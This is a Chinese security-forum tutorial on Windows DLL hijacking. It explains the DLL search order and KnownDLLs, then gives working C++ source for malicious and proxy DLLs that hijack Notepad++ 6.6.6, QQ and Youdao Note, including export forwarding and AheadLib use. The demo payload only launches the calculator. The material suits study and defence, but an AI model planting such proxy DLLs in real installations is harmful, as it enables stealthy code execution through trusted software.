问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
初探dll劫持
本文将对dll劫持进行分析和利用。
基础知识 ==== DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。 在windows平台下,很多应用程序的很多功能是相似的,抛去ui等等来说,大致的功能都差不多,比如都得调用窗口,都得调用内存管理的模块来分配内存,都得调用io模块去进行文件操作,读写文件等等,这些模块的具体表现就是DLL文件。 Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 **DLL路径搜索目录顺序** 1.程序所在目录 2.程序加载目录(SetCurrentDirectory) 3.系统目录即 SYSTEM32 目录 4.16位系统目录即 SYSTEM 目录 5.Windows目录 6.PATH环境变量中列出的目录 **Know DLLs注册表项** Know DLLs注册表项里的DLL列表在应用程序运行后就已经加入到了内核空间中,多个进程公用这些模块,必须具有非常高的权限才能修改。 Know DLLs注册表项的路径为`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 手动劫持 ==== 劫持应用中没有的dll ----------- 这里dll劫持的选用的是notepad++,注意版本问题,我第一次进行dll劫持的时候使用的是最新版本,导致我鼓捣半天都没能正确执行,搞得我一脸懵逼,百度之后才发现notepad后面的版本修复了漏洞,所以这里选的是6.6.6的版本 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-ea365dda934e93957ab0e8c3b0c186ad404156f4.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-ea365dda934e93957ab0e8c3b0c186ad404156f4.png) 使用到Procmon.exe程序 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f05834239cdd3b91bbbfa34edb61c1c919dd13c4.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f05834239cdd3b91bbbfa34edb61c1c919dd13c4.png) 这里打开过后设置几个过滤条件,分别是进程名、路径以及结果 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-789bfe7234e8157dc49674ab2a54209750e0e29a.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-789bfe7234e8157dc49674ab2a54209750e0e29a.png) 然后这里找一个需要用到`loadlibrary`这个api的dll,这里找有这个api的原因是因为如果该dll的调用栈中存在有 **LoadLibrary(Ex)**,说明这个DLL是被进程所动态加载的。在这种利用场景下,伪造的DLL文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在DLL被成功加载之后的事情。 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-01cbf5b21a8aff8530c08087b4c2047ee1253b4c.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-01cbf5b21a8aff8530c08087b4c2047ee1253b4c.png) `LoadLibrary`和`LoadLibraryEx`一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用`LoadLibrary(L"DLL绝对路径")`加载。但是如果DLL内部又调用一个DLL,就需要使用`LoadLibraryEx`进行远程加载,语法如下 ```c++ LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); ``` `LoadLibraryEx`的最后一个参数设置为`LOAD_WITH_ALTERED_SEARCH_PATH`即可让系统dll搜索顺序从我们设置的目录开始 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a3c5fffe169221b34ca28550a6811c264ea63bff.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a3c5fffe169221b34ca28550a6811c264ea63bff.png) 这里使用vs2019编译一个dll [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-15acc5faf5902cc3a81ddc6d6181e4636f5283e5.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-15acc5faf5902cc3a81ddc6d6181e4636f5283e5.png) 这里使用到`<stdlib.h>`库调用`system()`生成弹出一个计算器即可 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9b2149d7ea20cd2d31a692b6e120eaab8bd9d526.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9b2149d7ea20cd2d31a692b6e120eaab8bd9d526.png) 编译并复制到Notepad++的根目录下 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-51930e44f16936e940db86935defbaeb6030fd35.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-51930e44f16936e940db86935defbaeb6030fd35.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-592355dda5480bdbc71d726f856aae8755837cfe.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-592355dda5480bdbc71d726f856aae8755837cfe.png) 运行即可弹出计算器 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e7f4b0cf3a98e20de2a7bc27423f4d3c8f8dfba1.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e7f4b0cf3a98e20de2a7bc27423f4d3c8f8dfba1.png) 劫持应用中存在的dll ----------- 这里改个条件,改为SUCCESS [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-5cf47ff5307870629600834ad974c5db753565e2.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-5cf47ff5307870629600834ad974c5db753565e2.png) 双击SciLexer.dll 然后看下stack,可以发现同样存在loadlibrary。那就说明这个dll是动态加载的,并且不需要什么导出函数就可以成功被加载。并且是在程序在运行过程中完成的 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a8c5715a7b8ea8e2c3a479df28417c477438c450.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a8c5715a7b8ea8e2c3a479df28417c477438c450.png) 这时候我们就需要找这个dll的导出函数,导出函数是可以被外部访问的。导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。 在动态调用的时候,一般代码通过loadlibrary去加载dll 并作为参数传到到导出函数,这里看一下导入表,发现他这里有一个导出函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3702c25a34353643ba3fd0b3eedd7af744692282.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3702c25a34353643ba3fd0b3eedd7af744692282.png) 编写dll时,有个重要的问题需要解决,那就是函数重命名——Name-Mangling。C++的编译器通常会对函数名和变量名进行改编,这在链接的时候会出现一个严重的问题,假如dll是C++写的,可执行文件是C写的。在构建dll的时候,编译器会对函数名进行改编,但是在构建可执行文件的时候,编译器不会对函数名进行改。这个时候当链接器试图链接可执行文件的时候,会发现可执行文件引用了一个不存在的符号并报错,这里我就直接定义`extern "C"`来告诉编译器不对变量名和函数名进行改编即可 代码如下,我们的目的就是让程序本身去`LoadLibrary`去加载dll ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <stdlib.h> extern "C" __declspec(dllexport) void Scintilla_DirectFunction(); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } void Scintilla_DirectFunction() { system("calc.exe"); } ``` 生成dll并改名为`SciLexer.dll`,把原来的dll先放到桌面保存 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4b22ccdc514fbb8c56911ba90ea8331a2c7d2368.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4b22ccdc514fbb8c56911ba90ea8331a2c7d2368.png) 然后运行一下发现报错了 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-875483a84cb79a6a0124d5567478f8e431f71cd1.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-875483a84cb79a6a0124d5567478f8e431f71cd1.png) 这里也没有弹出计算器,这里就卡了很久,然后发现这里还可以用一种dll转发的方式 dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下 ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 # include "pch.h" # include <stdlib.h> extern "C" __declspec(dllexport) void Scintilla_DirectFunction(); BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("calc"); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } void Scintilla_DirectFunction() { HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll"); if (hDll) { //typedef 是定义了一个新的类型 //DWORD是双字类型 4个字节,API函数中有很多参数和返回值是DWORD //定义了类型EXPFUNC,并且返回类型是DWORD的函数的指针 typedef DWORD(WINAPI* EXPFUNC)(); EXPFUNC expFunc = NULL; expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction"); if (expFunc) { expFunc(); } } return; } ``` 然后把原dll改名为``SciLexer_re.dll`,并将生成的恶意dll改名为`SciLexer.dll` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c4238f837f07b92de7231d5ba5ab54b5fd14286f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c4238f837f07b92de7231d5ba5ab54b5fd14286f.png) 运行notepad++即可 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c962e0bbb826b445ff680b550c80a3dd900cbe0.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c962e0bbb826b445ff680b550c80a3dd900cbe0.png) 转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer\_re.dll),我们不清楚主程序的需求是什么可能是一个返回值,也可能参数不正确,这个时候都会导致主程序运行出错。 使用工具劫持 ====== 直接转发 ---- 这里还是使用导入表进行劫持,首先用cff(下载地址:[https://ntcore.com/files/CFF\_Explorer.zip](https://ntcore.com/files/CFF_Explorer.zip)) 打开QQ.exe的导入表,找一个不在`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`路径里面的dll进行劫持,因为在这个路径里面的dll是优先加载的,加载之后已经进入内核空间,想要劫持难度很大。这里我选择的是`libuv.dll`进行劫持 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b42e600a550dfa3ab403df66d04ff2bd8bd0610f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b42e600a550dfa3ab403df66d04ff2bd8bd0610f.png) 找到路径下的`libuv.dll` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-64d1b4f85d907afeb01099031d065ac3ba19c00d.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-64d1b4f85d907afeb01099031d065ac3ba19c00d.png) 然后使用到aheadlib这个工具,输入dll就填QQ.exe路径下的`libuv.dll`,输出CPP会自动生成,原始DLL的名称要记住,等下会替换 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4351dc1379946e65c26e926c536d863ea08bfc41.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4351dc1379946e65c26e926c536d863ea08bfc41.png) 点击生成就会在目录下生成一个.cpp文件 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b09c50d0e066bdea31028ab9580a43712eb0abe2.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-b09c50d0e066bdea31028ab9580a43712eb0abe2.png) 打开看一下有一个入口函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4dc92df567023fe12d5af5e236ad85243f3ea67a.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4dc92df567023fe12d5af5e236ad85243f3ea67a.png) 新建一个vs dll项目,然后将.cpp的代码复制进去,并加上`<windows.h>`和`<stdlib.h>`头文件 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f7e1875e4af27b79360f07e634eebbdc42c3b40f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f7e1875e4af27b79360f07e634eebbdc42c3b40f.png) 然后在入口函数的地方填上一个弹出计算器的语句 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-22869a4491a73892d9e472e1cc8c3b634bc6564f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-22869a4491a73892d9e472e1cc8c3b634bc6564f.png) 将原dll文件改名为之前在软件里面复制的名字`libuvOrg.dll`,并把我们生成的dll文件复制进去 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c62a71ce3ed3873fb9ff80ac51a81902e04f1976.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-c62a71ce3ed3873fb9ff80ac51a81902e04f1976.png) 点击QQ.exe即可弹出calc.exe [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf87a13a502a3ac38bcea304eb9c3201e8e267f7.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bf87a13a502a3ac38bcea304eb9c3201e8e267f7.png) 这里分析一下导出函数的代码,随便选一行 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e8902e6d6223d2839cc51ae45421499325007154.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e8902e6d6223d2839cc51ae45421499325007154.png) 当程序想要调用程序中的`uv_udp_open`函数的时候,需要先`LoadLibrary`,即通过`libuvOrg.uv_udp_open,@195`去加载原始dll,那么`libuvOrg.dll`其实已经被转发 ```c++ #pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195") ``` 即时调用 ---- 还是劫持之前的dll:`libuv.dll`,这里还是先输入DLL,然后转发的地方改为即时调用 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f3a2c3643b823b4b39647716fed5349f6c18b476.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f3a2c3643b823b4b39647716fed5349f6c18b476.png) 生成一个vs dll项目,把生成的libuv.cpp代码copy到项目里面,然后加上`#include "pch.h"`和`#include <stdlib.h>` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-159d8c292e3cce06c9f32b7caa86a3f3f2f80b76.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-159d8c292e3cce06c9f32b7caa86a3f3f2f80b76.png) 在入口函数的地方添加上我们的恶意代码 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bd59bbb84afba62067b27f5d06ce61b42e9b461a.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bd59bbb84afba62067b27f5d06ce61b42e9b461a.png) 然后把原dll改名为`libuvOrg.dll`,再把我们编译生成的dll粘贴进去 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-25cffd4926a116a556d69fe6d222649621e9008d.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-25cffd4926a116a556d69fe6d222649621e9008d.png) 点击QQ.exe即可完成劫持 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-080ffa3bb1dd958e288f4f136bc7bbc787ee66a8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-080ffa3bb1dd958e288f4f136bc7bbc787ee66a8.png) 这里继续看看代码,调用导出函数之前先执行入口函数,函数执行完成过后return到Load函数,这里跟过去看看 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-89a962658d500e11b3805c88fc9080854bf90a09.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-89a962658d500e11b3805c88fc9080854bf90a09.png) Load函数首先把`libuvOrg.dll`即原来的dll文件写入缓冲区,使用`LoadLibrary`展开后通过`wsprintf`与原dll进行判断,如果`LoadLibrary`成功则继续调用`InitializeAddresses()`函数,继续跟过去看看 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f831334c8fbcbb8959c2f089e3b8d40279bedae6.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f831334c8fbcbb8959c2f089e3b8d40279bedae6.png) 这里可以发现`InitializeAddresses`这个函数的作用都是调用`GetAddress`去Load函数的地址 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a9049bee9339c406c205ae0367123ea9cb88116b.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a9049bee9339c406c205ae0367123ea9cb88116b.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-1e1ba0b9b0b5d427d7cbc49549c004bc2a4a1320.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-1e1ba0b9b0b5d427d7cbc49549c004bc2a4a1320.png) 再看看导出函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34743eff8fb918cc3492e7ab8f98ed59af56da6f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34743eff8fb918cc3492e7ab8f98ed59af56da6f.png) 程序要调用`uv_async_init`这个函数,就可以直接获取原始dll中`uv_async_init`函数的地址 ```c++ #pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2") ``` 直接用\_\_asm jmp到原始dll的导出函数地址去完成功能即可 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-59dcb87dfa1897e658f2be9167e1a60a0124514e.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-59dcb87dfa1897e658f2be9167e1a60a0124514e.png) 对比之前用直接转发出来的cpp,对比之前用直接转发出来的cpp,直接转发对主程序来说,其实就是调用了原来dll的某个函数。 但是即时调用实际上是调用了劫持dll的某个函数,只不过那个函数会jmp到原本的dll中的相应函数的地址。达到的效果相同,但是实现的原理不同。 白加黑 === 白加黑,就是一个白exe,加上一个黑代码,这里的黑可以是shellcode,也可以是dll。这里主要是尝试一下之前判断的工具的流程,使用导出函数 这里找一个不在Know DLLs里面的dll,而且这个dll必须要用`LoadLibrary`进行加载,这里我找的是`CrashRpt.dll`,可以看到有4个导出函数 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d93d32b5626124be4465377f63dce217ceee5429.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d93d32b5626124be4465377f63dce217ceee5429.png) 那么这里用vs新建一个dll,把这4个导出函数由我们自己来写,这里尝试不转发即时调用,如果不成功在尝试转发 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-329f30d51f3e55bb52343682760222de4e6de9b4.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-329f30d51f3e55bb52343682760222de4e6de9b4.png) 完整代码如下 ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <windows.h> #include <stdlib.h> extern "C" __declspec(dllexport) void RptCleanup(); extern "C" __declspec(dllexport) void RptSetAdditionalInfo(); extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent(); extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion(); void RptCleanup() { system("calc"); } void RptSetAdditionalInfo() { } void RptNcThreadListAddCurrent() { } void RptInitializeWithDefaultSettingsWithVersion() { } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` 然后生成dll把原来的`CrashRpt`替换掉 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d2436b49afec1bfef7bc1088b5ba99cf266bf21f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d2436b49afec1bfef7bc1088b5ba99cf266bf21f.png) 启动有道云即可成功弹出计算器 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-57d42e321f482d40886d2aa9950783b796caa61f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-57d42e321f482d40886d2aa9950783b796caa61f.png)
发表于 2021-10-22 17:50:36
阅读 ( 6255 )
分类:
内网渗透
0 推荐
收藏
0 条评论
请先
登录
后评论
szbuffer
30 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!